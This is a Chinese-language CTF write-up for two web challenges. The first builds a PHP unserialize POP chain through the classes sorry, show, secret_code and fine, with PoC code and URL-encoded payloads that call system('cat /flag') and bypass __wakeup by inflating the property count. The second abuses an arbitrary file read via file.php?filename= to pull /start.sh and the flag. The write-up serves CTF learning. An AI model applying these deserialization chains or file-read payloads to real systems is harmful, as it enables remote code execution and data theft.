web1
看题目源码,有4个类,开始的时候看到了fine类里面的call_user_func,最终应该是打进这个地方,另外看到了 secret_code 类里面的hint()函数,所以我的想法路线是先想办法调用出这个hint()函数,然后根据给出的hint进入那个call_user_func,然后就开始找链子,但是最终hint()函数给出的东西真是让我摸不到头脑,就只好不管这个hint直接打进call_user_func进行rce了
secret_code类里面的secret函数可以调用hint函数
secret_code类里面的 show函数可以调用secret_code类里面的secret函数
show类里的__tostring方法可以调用secret_code类里面的 show函数
sorry类里面的__destruct方法里的第一个if可以触发show类里的__tostring方法
sorry是入口类,值得一提的是sorry类里面有一个sleep方法,在进行序列化的时候会调用,而我们需要对hint进行赋值,会把我们赋的值覆盖掉,需要把这个sleep删掉
poc如下:
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint ;
public $key;
public function __construct($name, $password,$hint)
{
$this->name = $name;
$this->password = $password;
$this->hint = $hint;
}
// public function __sleep()
// {
// $this->hint = new secret_code();
// }
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
}
class secret_code
{
protected $code;
public function __construct($code)
{
$this->code = $code;
}
private function show()
{
return $this->code->secret;
}
}
$q=new secret_code('aaa');
$c=new sorry('1','1',new show(new secret_code($q)));
print_r(urlencode(serialize($c)));
payload
pop=O%3A5%3A%22sorry%22%3A4%3A%7Bs%3A11%3A%22%00sorry%00name%22%3Bs%3A1%3A%221%22%3Bs%3A15%3A%22%00sorry%00password%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22hint%22%3BO%3A4%3A%22show%22%3A2%3A%7Bs%3A3%3A%22ctf%22%3BO%3A11%3A%22secret_code%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3BO%3A11%3A%22secret_code%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3Bs%3A3%3A%22aaa%22%3B%7D%7Ds%3A4%3A%22time%22%3Bs%3A20%3A%22Two+and+a+half+years%22%3B%7Ds%3A3%3A%22key%22%3BN%3B%7D
emmmmmm,这周杰伦是hint??难崩
接下来就尝试直接rce
这里要调用fine类里面的call_user_func函数,就要触发它的invoke方法,貌似有两条路可以走,一条是sorry类里面的get方法、另一条是 secret_code 类里面的call方法
call方法:
在类外部调用一个类中的一个不可访问的方法时,对象方式就出发__call()方法,静态方式就出发__callStatic()方法。
触发__call()或__callStatic()方法时,系统会自动将所调用的那个不可访问的方法的方法名作为第一个参数传入__call()或__callStatic()方法中,而将所调用的不存在的方法传入的参数,作为第二个参数(而且是封装成了一个数组,即每一个元素就是调用不可访问方法时传入的一个桉树)传入__call()和__callStatic()方法中。
也就是说,需要找到一个类似A->B结构的代码,A应赋值为 secret_code 类,B应赋值为fine类,AB需要同时可控
测试如下:
那么我们就需要走sorry类里面的get方法这个路线
找链子:
sorry类里的get方法可以触发fine类的invoke方法
secret_code类里的show函数可以触发sorry类里的get方法
show类里的tostring方法可以触发secret_code类里的show函数
sorry类里的destruct方法可以触发show类里的tostring方法
poc
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
}
class sorry
{
private $name;
private $password;
public $hint;
public $key;
public function __construct($name, $password,$hint,$key)
{
$this->name = $name;
$this->password = $password;
$this->hint=$hint;
$this->key=$key;
}
}
class secret_code
{
protected $code;
public function __construct($code)
{
$this->code=$code;
}
}
$s = new sorry('aaa','aaa',new show(new secret_code(new sorry('aaa','aaa','aaa',new fine('system','cat /flag')))),'aaa');
echo urlencode(serialize($s));
最后还有一个wakeup需要绕过,不然他会把我们输进去的cmd覆盖并且die掉
__wakeup绕过:
在反反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。修改序列化字符串中的属性个数 就可以了
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
payload:
O%3A5%3A%22sorry%22%3A5%3A%7Bs%3A11%3A%22%00sorry%00name%22%3Bs%3A3%3A%22aaa%22%3Bs%3A15%3A%22%00sorry%00password%22%3Bs%3A3%3A%22aaa%22%3Bs%3A4%3A%22hint%22%3BO%3A4%3A%22show%22%3A2%3A%7Bs%3A3%3A%22ctf%22%3BO%3A11%3A%22secret_code%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3BO%3A5%3A%22sorry%22%3A4%3A%7Bs%3A11%3A%22%00sorry%00name%22%3Bs%3A3%3A%22aaa%22%3Bs%3A15%3A%22%00sorry%00password%22%3Bs%3A3%3A%22aaa%22%3Bs%3A4%3A%22hint%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22key%22%3BO%3A4%3A%22fine%22%3A2%3A%7Bs%3A9%3A%22%00fine%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00fine%00content%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7Ds%3A4%3A%22time%22%3Bs%3A20%3A%22Two+and+a+half+years%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A3%3A%22aaa%22%3B%7D
web2
这个地方的逻辑会把传过去的文件名的相应文件内容变成base64图片输出出来,实际上可以任意文件读取
http://166076ee-6d8a-4624-a63c-90b72f24dcff.node4.buuoj.cn:81/file.php?m=show&filename=/start.sh
解base64
#!/bin/sh
echo $FLAG > /ghjsdk_F149_H3re_asdasfc
export FLAG=no_flag
FLAG=no_flag
apache2-foreground
rm -rf /flag.sh
tail -f /dev/null
再读flag
http://166076ee-6d8a-4624-a63c-90b72f24dcff.node4.buuoj.cn:81/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc
解base64
DASCTF{18bdc44b-2a99-4da9-b60d-6d30d3c1fdf5}